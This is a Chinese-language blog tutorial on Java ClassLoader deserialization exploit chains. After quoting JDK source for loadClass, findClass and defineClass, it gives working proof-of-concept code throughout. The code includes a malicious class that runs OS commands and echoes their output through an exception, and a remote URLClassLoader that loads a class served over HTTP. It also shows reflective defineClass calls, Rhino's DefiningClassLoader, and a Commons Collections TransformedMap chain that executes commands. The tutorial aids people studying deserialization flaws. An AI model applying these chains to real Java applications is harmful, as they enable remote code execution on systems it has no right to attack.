ClassLoader 反序列化利用链


ClassLoader类中loadClass()、findClass()、defineClass()等方法都可以成为利用链中的重要一环,特别是在反序列化漏洞中常常被用到。

ClassLoader类核心方法

1、loadClass:加载java类

该方法使用双亲委派模型,首先会请求父加载器对目标类进行加载,父加载器又会请求它的父加载器,如果都为空,才会调用自己的findclass函数。

    /**
     * Loads the class with the specified <a href="#name">binary name</a>.  The
     * default implementation of this method searches for classes in the
     * following order:
     *
     * <p><ol>
     *
     *   <li><p> Invoke {@link #findLoadedClass(String)} to check if the class
     *   has already been loaded.  </p></li>
     *
     *   <li><p> Invoke the {@link #loadClass(String) <tt>loadClass</tt>} method
     *   on the parent class loader.  If the parent is <tt>null</tt> the class
     *   loader built-in to the virtual machine is used, instead.  </p></li>
     *
     *   <li><p> Invoke the {@link #findClass(String)} method to find the
     *   class.  </p></li>
     *
     * </ol>
     *
     * <p> If the class was found using the above steps, and the
     * <tt>resolve</tt> flag is true, this method will then invoke the {@link
     * #resolveClass(Class)} method on the resulting <tt>Class</tt> object.
     *
     * <p> Subclasses of <tt>ClassLoader</tt> are encouraged to override {@link
     * #findClass(String)}, rather than this method.  </p>
     *
     * <p> Unless overridden, this method synchronizes on the result of
     * {@link #getClassLoadingLock <tt>getClassLoadingLock</tt>} method
     * during the entire class loading process.
     *
     * @param  name
     *         The <a href="#name">binary name</a> of the class
     *
     * @param  resolve
     *         If <tt>true</tt> then resolve the class
     *
     * @return  The resulting <tt>Class</tt> object
     *
     * @throws  ClassNotFoundException
     *          If the class could not be found
     */
    protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            Class c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {
                        c = parent.loadClass(name, false);
                    } else {
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
            	// 链接指定Java类
                resolveClass(c);
            }
            return c;
        }
    }

主要过程

  • findLoadedClass(String) 调用这个方法,查看这个Class是否已经别加载
  • 如果没有被加载,继续往下走,查看父类加载器,递归调用loadClass()
  • 如果父类加载器是null,说明是启动类加载器,查找对应的Class
  • 如果都没有找到,就调用findClass(String)

2、findCLass:查找Java类

根据名称或位置加载.class字节码,然后使用defineClass

    /**
     * Finds the class with the specified <a href="#name">binary name</a>.
     * This method should be overridden by class loader implementations that
     * follow the delegation model for loading classes, and will be invoked by
     * the {@link #loadClass <tt>loadClass</tt>} method after checking the
     * parent class loader for the requested class.  The default implementation
     * throws a <tt>ClassNotFoundException</tt>.  </p>
     *
     * @param  name
     *         The <a href="#name">binary name</a> of the class
     *
     * @return  The resulting <tt>Class</tt> object
     *
     * @throws  ClassNotFoundException
     *          If the class could not be found
     *
     * @since  1.2
     */
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        throw new ClassNotFoundException(name);
    }

3、defineClass:定义Java类

解析定义.class字节流,返回class对象,即将字节码解析成虚拟机识别的Class对象,通常和findClass()方法配合使用。

    /**
     * Converts an array of bytes into an instance of class <tt>Class</tt>.
     * Before the <tt>Class</tt> can be used it must be resolved.  This method
     * is deprecated in favor of the version that takes a <a
     * href="#name">binary name</a> as its first argument, and is more secure.
     *
     * @param  b
     *         The bytes that make up the class data.  The bytes in positions
     *         <tt>off</tt> through <tt>off+len-1</tt> should have the format
     *         of a valid class file as defined by
     *         <cite>The Java&trade; Virtual Machine Specification</cite>.
     *
     * @param  off
     *         The start offset in <tt>b</tt> of the class data
     *
     * @param  len
     *         The length of the class data
     *
     * @return  The <tt>Class</tt> object that was created from the specified
     *          class data
     *
     * @throws  ClassFormatError
     *          If the data did not contain a valid class
     *
     * @throws  IndexOutOfBoundsException
     *          If either <tt>off</tt> or <tt>len</tt> is negative, or if
     *          <tt>off+len</tt> is greater than <tt>b.length</tt>.
     *
     * @throws  SecurityException
     *          If an attempt is made to add this class to a package that
     *          contains classes that were signed by a different set of
     *          certificates than this class, or if an attempt is made
     *          to define a class in a package with a fully-qualified name
     *          that starts with "{@code java.}".
     *
     * @see  #loadClass(String, boolean)
     * @see  #resolveClass(Class)
     *
     * @deprecated  Replaced by {@link #defineClass(String, byte[], int, int)
     * defineClass(String, byte[], int, int)}
     */
    @Deprecated
    protected final Class<?> defineClass(byte[] b, int off, int len)
        throws ClassFormatError
    {
        return defineClass(null, b, off, len, null);
    }

例子🌰

本地栗子

要实现加载自己自定义的类,需要覆盖上面所讲到的findClass(String) 方法,自定义类加载器的大致流程如下:

  1. 继承ClassLoader类
  2. 覆盖findClass()方法
  3. 在findClass()方法中调用defineClass()方法

这里举一个例子
首先创建一个Test类,用于加载使用,顺便弹一下计算器,发现计算器才是安全界最勤劳的打工人。

package classLoaderTest;

import java.io.IOException;

public class Test {
    public Test() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    public static void main(String[] args) {
        System.out.println("This is Test class");
    }
}

在idea中直接执行,可以在target目录下得到相应的class文件,
在这里插入图片描述
写一个MyClassLoader类,继承于ClassLoader类,重载findClass()方法,并且在findClass()方法中读取恶意类的字节流,最后通过调用defineClass()方法加载字节流。

package classLoaderTest;

import org.springframework.util.FileCopyUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class MyClassLoader extends ClassLoader{
    private String path;
    public MyClassLoader(){

    }

    public MyClassLoader(String path){
        this.path = path;
    }

    @Override 
    protected Class<?> findClass(String className) throws ClassNotFoundException {
        Class<?> c = findLoadedClass(className);
        if (c != null) {
            return c;
        } else {
            ClassLoader parent = this.getParent();
            try {
                c = parent.loadClass(className);
            } catch (ClassNotFoundException e) {
                System.out.println("父类无法加载你的class,抛出ClassNotFoundException,已捕获,继续运行");
            }
            if (c != null) {
                System.out.println("父类成功加载");
                return c;
            } else {// 读取文件 转化成字节数组
                byte[] classData = readClassBytes(className);
                if (classData == null) {
                    throw new ClassNotFoundException();
                } else { // 调用defineClass()方法
                    c = defineClass(className, classData, 0, classData.length);
                    return c;
                }
            }
        }
    }
    public byte[] readClassBytes(String className){
        String classPath = this.path + "/" + className.replace('.', '/') + ".class";
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            FileCopyUtils.copy(new FileInputStream(new File(classPath)),byteArrayOutputStream);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return byteArrayOutputStream.toByteArray();
    }
}

最后编写一个Poc类,直接运行:

package classLoaderTest;

public class Poc {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException {
        MyClassLoader deLoader = new MyClassLoader("/Users/program//target/classes/classLoaderTest/");
        Class<?> test = deLoader.loadClass("classLoaderTest.Test");
        test.newInstance();
        System.out.println(test);
    }
}

弹出计算器
在这里插入图片描述

远程栗子

除了直接本地文件调用恶意class,如local();还可以远程网络调用恶意class,如remote()。

	public static void local() throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        File file = new File("/Users/program/target/classes/classLoaderTest/");
        URI uri = file.toURI();
        URL url = uri.toURL();

        URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
        Class clazz = classLoader.loadClass("classLoaderTest.Test");
        clazz.newInstance();
    }

    public static void remote() throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        URL url = new URL("http://127.0.0.1:6666/");
        URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
        Class clazz = classLoader.loadClass("classLoaderTest.Test");
        clazz.newInstance();
    }

其中remote,需要在本地启动一个端口为6666的web服务,这里直接使用python3:

python3 -m http.server 6666

由于我们的Test的包名为classLoaderTest,所以还需要创建一个名为classLoaderTest的文件夹,然后把恶意class文件Test放进去。
在这里插入图片描述

回显栗子

通过loadClass函数

我们改造一下Test类,增加一个exec函数,参数为恶意命令,通过抛出异常来把结果带出来:

package classLoaderTest;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.rmi.server.ExportException;

public class Test {
    public Test() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    public void exec(String cmd) throws Exception {
        String data = "";
        int len;
        int bufSize = 4096;
        byte[] buffer = new byte[bufSize];
        BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream(),bufSize);
        while ((len = bis.read(buffer,0,bufSize)) != -1){
            data += new String(buffer,0 ,len);
        }
        bis.close();
        throw new Exception(data);

    }
    public static void main(String[] args) {
        System.out.println("This is Test class");
    }
}

poc如下,使用本地调用对恶意类进行加载:

    public static void myExec() throws Exception {

        URLClassLoader classLoader = new URLClassLoader(new URL[]{new URL("file:/Users//progrm/projects/target/classes/classLoaderTest/")});
        Class clazz = classLoader.loadClass("classLoaderTest.Test");
        Method me = clazz.getMethod("exec", String.class);
        me.invoke(clazz.newInstance(), "ls");
    }

执行,发现命令结果被带出来了
在这里插入图片描述

通过defineClass函数

由于defineClass函数是保护函数,并不能直接像loadClass那样直接调用,要通过这个路径加载恶意类的字节流,有三种办法:

  • 自己写类,重写defineClass方法,或继承ClassLoader类,暴露接口。如我前面写的类MyClassLoader
  • 直接反射defineClass函数
  • 用别人重写了defineClass函数的开源类,如org.mozilla.classfile.DefiningClassLoader,该类重现了defineClass函数,并且为public函数

直接反射defineClass函数
首先我们来讲反射的栗子,由于ClassLoader是抽象类,无法实例化,所以需要借用它的实现类,这里我用MyClassLoader类(往上翻,实现在前面)。

    public static void reflection() throws Exception {
        MyClassLoader mc = new MyClassLoader("/Users/program/target/classes/classLoaderTest");
        byte[] bt = mc.readClassBytes("Test");

        Class<MyClassLoader> cls = MyClassLoader.class; // 获取MyClassLoader的class对象
        Method m = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); // 通过反射获取ClassLoader类的defineClass函数,第一个为函数名,后面的为函数参数
        m.setAccessible(true); // 由于defineClass是peotect类型的,默认是不能访问的,该方法使之能访问
        Class cls2 = (Class) m.invoke(cls.newInstance(),"classLoaderTest.Test", bt, 0, bt.length); // 调用MyClassLoader对象的defineClass函数,第一个参数为对象,第二个参数开始为defineClass函数的参数,返回实现好的恶意类
        Method m2 = cls2.getMethod("exec", String.class); // 通过反射获取exec函数
        m2.invoke(cls2.newInstance(), "ls"); //调用函数exec函数
    }

结果如下
在这里插入图片描述
使用别人的类
这里使用org.mozilla.classfile.DefiningClassLoader类,首先引入该类

  <dependency>
      <groupId>rhino</groupId>
      <artifactId>js</artifactId>
      <version>1.5R4.1</version>
  </dependency>

看到该类的defineClass函数为pulic类型:
在这里插入图片描述
poc类,跟上面的类似,只不过defineClass函数已经被DefiningClassLoader类实现了:

    public static void otherReflection() throws Exception {
        MyClassLoader mc = new MyClassLoader("/Users/all/program/target/classes/classLoaderTest");
        byte[] bt = mc.readClassBytes("Test");

        DefiningClassLoader cls = new DefiningClassLoader();
        Class cl = cls.defineClass("classLoaderTest.Test", bt);
        Method m = cl.getMethod("exec", String.class);
        m.invoke(cl.newInstance(), "ifconfig");

    }

执行结果:
在这里插入图片描述
还可以构造TransformedMap攻击链:

    public static void otherChain(){
        MyClassLoader mc = new MyClassLoader("/Users/rym/all/program/projects/idea/JavaProject7076/target/classes/classLoaderTest");
        byte[] bt = mc.readClassBytes("Test");
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(DefiningClassLoader.class),
                new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
                new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{"classLoaderTest.Test", bt}),
                new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"ifconfig"})};
        ChainedTransformer chained = new ChainedTransformer(transformers);
        Map m = new HashMap();
        m.put("key", "value");
        Map map = TransformedMap.decorate(m,null,chained);
        Map.Entry entry = (Map.Entry) map.entrySet().iterator().next();
        entry.setValue(Object.class);
    }

参考:
https://xz.aliyun.com/t/9002
https://blog.csdn.net/qq_34101364/article/details/113096002

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值